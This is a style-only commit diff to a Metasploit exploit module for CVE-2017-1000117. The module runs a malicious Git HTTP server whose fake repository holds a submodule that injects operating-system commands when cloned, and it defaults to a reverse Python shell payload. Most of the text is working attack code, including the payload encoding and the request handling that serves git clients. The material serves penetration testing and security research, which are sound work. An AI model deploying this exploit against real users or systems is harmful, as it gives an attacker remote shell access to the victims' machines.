update style

Author: Brent Cook

modules/exploits/multi/http/git_submodule_command_exec.rb

@@ -9,60 +9,63 @@ class MetasploitModule < Msf::Exploit::Remote
   include Msf::Exploit::Remote::HttpServer
 
   def initialize(info = {})
-    super(update_info(
-      info,
-      'Name' => 'Malicious Git HTTP Server For CVE-2017-1000117',
-      'Description' => %q(
-                This module exploits CVE-2017-1000117, which affects Git
-        version 2.7.5 and lower. A submodule of the form 'ssh://' can be passed
-        parameters from the username incorrectly. This can be used to inject
-        commands to the operating system when the submodule is cloned.
-
-        This module creates a fake git repository which contains a submodule
-        containing the vulnerability. The vulnerability is triggered when the
-        submodules are initialised.
-      ),
-      'License' => MSF_LICENSE,
-      'References'     =>
-        [
-          ['CVE', '2017-1000117'],
-          ['URL', 'http://seclists.org/oss-sec/2017/q3/280' ]
-        ],
-      'DisclosureDate' => 'Aug 10 2017',
-      'Targets' =>
-        [
+    super(
+      update_info(
+        info,
+        'Name' => 'Malicious Git HTTP Server For CVE-2017-1000117',
+        'Description' => %q(
+                  This module exploits CVE-2017-1000117, which affects Git
+          version 2.7.5 and lower. A submodule of the form 'ssh://' can be passed
+          parameters from the username incorrectly. This can be used to inject
+          commands to the operating system when the submodule is cloned.
+
+          This module creates a fake git repository which contains a submodule
+          containing the vulnerability. The vulnerability is triggered when the
+          submodules are initialised.
+        ),
+        'License' => MSF_LICENSE,
+        'References'     =>
           [
-            'Automatic',
-            {
-              'Platform' => [ 'unix' ],
-              'Arch'     => ARCH_CMD,
-              'Payload'        =>
-                {
-                  'Compat'      =>
-                    {
-                      'PayloadType' => 'python',
-                    }
-                }
-            }
+            ['CVE', '2017-1000117'],
+            ['URL', 'http://seclists.org/oss-sec/2017/q3/280' ]
           ],
-        ],
-      'DefaultOptions'  =>
-        {
-          'Payload'  => 'cmd/unix/reverse_python'
-        },
-      'DefaultTarget'  => 0))
+        'DisclosureDate' => 'Aug 10 2017',
+        'Targets' =>
+          [
+            [
+              'Automatic',
+              {
+                'Platform' => [ 'unix' ],
+                'Arch' => ARCH_CMD,
+                'Payload' =>
+                  {
+                    'Compat' =>
+                      {
+                        'PayloadType' => 'python'
+                      }
+                  }
+              }
+            ]
+          ],
+        'DefaultOptions' =>
+          {
+            'Payload' => 'cmd/unix/reverse_python'
+          },
+        'DefaultTarget'  => 0
+      )
+    )
 
     register_options(
       [
         OptString.new('GIT_URI', [false, 'The URI to use as the malicious Git instance (empty for random)', '']),
-        OptString.new('GIT_SUBMODULE', [false, 'The path to use as the malicious git submodule (empty for random)', '']),
+        OptString.new('GIT_SUBMODULE', [false, 'The path to use as the malicious git submodule (empty for random)', ''])
       ]
     )
   end
 
   def setup
     @repo_data = {
-      git: { files: {} },
+      git: { files: {} }
     }
     setup_git
     super
@@ -75,7 +78,7 @@ def setup_git
     end
 
     payload_cmd = payload.encoded + " &"
-    payload_cmd = Rex::Text.to_hex(payload_cmd, prefix = '%')
+    payload_cmd = Rex::Text.to_hex(payload_cmd, '%')
 
     submodule_path = datastore['GIT_SUBMODULE']
     if submodule_path.blank?
@@ -140,7 +143,8 @@ def primer
   def on_request_uri(cli, req)
     # if the URI is one of our repositories and the user-agent is that of git/mercurial
     # send back the appropriate data, otherwise just show the HTML version
-    if (user_agent = req.headers['User-Agent'] and user_agent =~ /^git\// && req.uri.start_with?(git_uri))
+    user_agent = req.headers['User-Agent']
+    if user_agent && user_agent =~ /^git\// && req.uri.start_with?(git_uri)
       do_git(cli, req)
       return
     end
@@ -193,5 +197,4 @@ def git_uri
       @git_uri = datastore['GIT_URI']
     end
   end
-
 end